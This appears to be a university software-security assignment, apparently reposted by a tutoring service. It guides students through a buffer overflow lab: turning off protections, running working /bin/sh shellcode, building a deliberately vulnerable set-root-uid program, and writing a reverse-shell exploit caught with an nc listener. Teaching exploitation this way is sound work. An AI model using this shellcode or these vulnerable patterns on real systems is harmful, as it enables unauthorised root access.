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辅导FIT 3173 FIT 3173 Software Security Assignment I

FIT 3173 Software Security Assignment I (S1 2020)
Total Marks 100
Due on April 25, 2020, Saturday noon, 11:59:59
1 Overview
The learning objective of this assignment is for you to gain a first-hand experience on buffer overflow attack
and get a deeper understanding on how to use cryptographic algorithms correctly in practice. All tasks in
this assignment can be done on “SeedVM” as used in labs. Please refer to Section 2 for submission notes.
2 Submission
You need to submit a lab report (one single PDF file) to describe what you have done and what you have
observed with screen shots whenever necessary; you also need to provide explanation or codes to the
observations that are interesting or surprising. In your report, you need to answer all the questions listed in
this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format
(make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]-
FIT3173-Assignment1, e.g., HarryPotter-12345678-FIT3173-Assignment1.pdf.
All source code if required should be embedded in your report. In addition, if a demonstration video is
required, you should record your screen demonstration with your voice explanation and upload the video
to your Monash Google Drive. The shared URL of the video should be mentioned in your report wherever
required. You can use this free tool to make the video:https://monash-panopto.aarnet.edu.au/ ; other tools
are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on April 25, 2020,
Saturday noon, 11:59:59 (Firm!).
Late submission penalty: 10 points deduction per day. If you require a special consideration,
the application should be submitted and notified at least three days in advance. Zero tolerance on
plagiarism: If you are found cheating, penalties will be applied, i.e., a zero grade for the unit. Uni-
versity polices can be found at https://www.monash.edu/students/academic/policies/
academic-integrity
3 Buffer Overflow Vulnerability [70 Marks]
The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerability
by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined
as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed
length buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, even
execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing
of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the
data part can affect the control flow of the program, because an overflow can change the return address.
In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a
scheme to exploit the vulnerability and finally send a remote access to an attacker. In addition to the attacks,
you will be guided to walk through several protection schemes that have been implemented in the operating
system to counter against the buffer overflow. You need to evaluate whether the schemes work or not and
explain why.
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3.1 Initial setup
You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux dis-
tributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To
simplify our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran-
domization to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable
these features using the following commands:
$ su root
Password: (enter root password "seedubuntu")
# sysctl -w kernel.randomize_va_space=0
# exit
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called “Stack
Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the -fno-stack-protector switch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
3.2 Task 1: Shellcode Practice [10 Marks]
Before you start the attack, we want you to exercise with a shellcode example. A shellcode is the code to
launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can
be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the
memory so that we can force the vulnerable program to jump to it. Consider the following program:
#include
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
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name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is the assembly version of the above program. The following program shows
you how to launch a shell by executing a shellcode stored in a buffer.
Q1: Please compile and run the following code, and see whether a shell is invoked. Please briefly
describe your observations. [Marking scheme: 5 marks for the screenshot and 5 marks for the expla-
nation]
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Please use the following command to compile the code (don’t forget the execstack option):
$ gcc -z execstack -g -o call_shellcode call_shellcode.c
The shellcode is stored in the variable code in the above program. A few places in this shellcode are
worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because
we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can
get away with a double slash symbol. Second, before calling the execve() system call, we need to store
name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and
%edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets
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%edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used
here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0
at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call
execve() is called when we set %al to 11, and execute “int $0x80”.
3.3 The Vulnerable Program [5 Marks]
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char *str, int studentId)
{
int bufferSize;
bufferSize = 12 + studentId%32;
char buffer[bufferSize];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
int studentId = ;// please put your student ID
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str,studentId);
printf("Returned Properly\n");
return 1;
}
You need to enter your student ID to the variable studentId. Then, compile the above vulnerable
program and make it set-root-uid. You can achieve this by compiling it in the root account and chmod the
executable to 4755 (don’t forget to include the execstack and -fno-stack-protector options to
turn off the non-executable stack and StackGuard protections):
$ su root
Password (enter root password "seedubuntu")
# gcc -g -o stack -z execstack -fno-stack-protector stack.c
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# chmod 4755 stack
# exit
The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”,
and then passes this input to another buffer in the function bof(). The original input can have a maxi-
mum length of 517 bytes, but the buffer in bof() has a limited size in the range [12, 43] bytes. Because
strcpy() does not check boundaries, buffer overflow will occur. It should be noted that the program gets
its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the
contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a remote
access will be given to an attacker.
[Marking scheme: 5 marks for the screenshot when successfully compiling stack.c file]
3.4 Task 2: Exploiting the Vulnerability [30 Marks]
We provide you with a partially completed exploit code called exploit.c. The goal of this code is to con-
struct contents for “badfile”. In this code, you need to inject a reverse shell into the variable shellcode,
and then fill the variable buffer with appropriate contents.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]= /* add your reverse shellcode here*/;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
You need to read Appendix 5.1 to investigate how to create a reverse shellcode. Then, you also need
to study how to simulate an attacker, who is listening at a specific address/port and waiting for the shell.
We refer you to Appendix 5.2 for this simulation. After you finish the above program, compile and run it.
This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is
implemented correctly, the attacker should be able to get the reverse shell.
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Important: Please compile your vulnerable program first. Please note that the program exploit.c,
which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is
because we are not going to overflow the buffer in this program. We will be overflowing the buffer in
stack.c, which is compiled with the Stack Guard protection disabled.
$ gcc -g -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is
listening at the port 4444, and the program stack is running at the address 10.0.2.15).
$[02/01/20]seed@VM:˜$ nc -lvp 4444 // listening at the port 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.0.2.15] port 4444 [tcp/*] accepted
Once the attacker obtains the shell, she can remotely manipulate all the current files where the program
stack runs.
Q2: Provide your video demonstration evidence to support and verify that you have performed
the attack and it worked successfully. You need to upload your demo video to your Monash Google Drive
and embed its shared link to your report so that the teaching team can view and verify your works. In the
video, you need to demonstrate following key points:
• The buffer overflow happens and the attacker receives the shell when the victim executes the vulner-
able program stack. (10 marks if the attack works during your demonstration video)
• Debug the program stack to investigate the return memory address and local variables in the func-
tion bof(). (10 marks for the debug demonstration and memory analysis)
• Open the program exploit.c and explain clearly line by line how you structurise the content for
“badfile”.(10 marks for your explaination during the demonstration video)
Hint: Please read the Guidelines of this part. Also you can use the GNU debugger gdb to find the
address of buffer[bufferSize] and “Return Address”, see Guidelines and Appendix. Please note
that providing incorrect student ID will result 0 mark for this task. The full marks only given if you
have solid explanation with supporting memory address analysis.
3.5 Task 3: Address Randomization [5 Marks]
Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in the above task.
Can you get a shell? If not, what is the problem? How does the address randomization make your
attacks difficult? You can use the following instructions to turn on the address randomization:
$ su root
Password: (enter root password "seedubuntu")
# /sbin/sysctl -w kernel.randomize_va_space=2
If running the vulnerable code once does not get you the root shell, how about running it for many
times? You can run ./stack in the following loop , and see what will happen. If your exploit program
is designed properly, you should be able to get the root shell after a while. You can modify your exploit
program to increase the probability of success (i.e., reduce the time that you have to wait).
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$ sh -c "while [ 1 ]; do ./stack; done;"
Q3: Follow the above steps, and answer the highlight questions. You should describe your obser-
vation and explanation briefly. Furthermore, try whether you can obtain root shell again. [Marking
scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions].
3.6 Task 4: Stack Guard [5 Marks]
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling
the programs. In this task, you may consider repeating the above task in the presence of Stack Guard. To
do that, you should compile the program without the -fno-stack-protector’ option. For this task, you will
recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your
observations. You may report any error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable
Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a
older GCC version, you may not have to disable Stack Guard.
Q4: Follow the above steps, and report your observations. [Marking scheme: 3 marks for the
screenshot and 2 marks for the explanation and solutions]
3.7 Task 5: Non-executable Stack [5 Marks]
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable
program using the noexecstack option, and repeat the attack in the above task. Can you get a shell? If
not, what is the problem? How does this protection scheme make your attacks difficult. You can use
the following instructions to turn on the non-executable stack protection.
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it
does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting
a buffer-overflow vulnerability.
If you are using our SEEDVM, whether the non-executable stack protection works or not depends on the
CPU and the setting of your virtual machine, because this protection depends on the hardware feature that is
provided by CPU. If you find that the non-executable stack protection does not work, check our document
(“Notes on Non-Executable Stack”) that is linked to the course web page, and see whether the instruction in
the document can help solve your problem. If not, then you may need to figure out the problem yourself.
Q5: Follow the above steps, and answer the highlight questions. You should describe your obser-
vation and explanation briefly. [Marking scheme: 3 marks for the screenshot and 2 marks for the
explanation and solutions]
3.8 Task 6: Completion [10 Marks]
All codes in above files (shellcode.c, exploit.c, stack.c, and badfile) need to be attached to your PDF report
to obtain full marks. Each file occupies 2.5 Marks.
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3.9 Guidelines
We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we
have two problems: (1) we do not know where the return address is stored, and (2) we do not know where
the shellcode is stored. To answer these questions, we need to understand the stack layout the execution
enters a function. The following figure gives an example.
str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
variable_a
void func (char *str) {
char buffer[12];
int variable_a;
strcpy (buffer, str);
}
Int main() {
char *str = “I am greater than 12 bytes”;
func (str);
}
C
u
rr
e
n
t
F
ra
m
e
Current FP
(a) A code example (b) Active Stack Frame in func()
High Address
Low Address
Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
• Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu-
rately calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.

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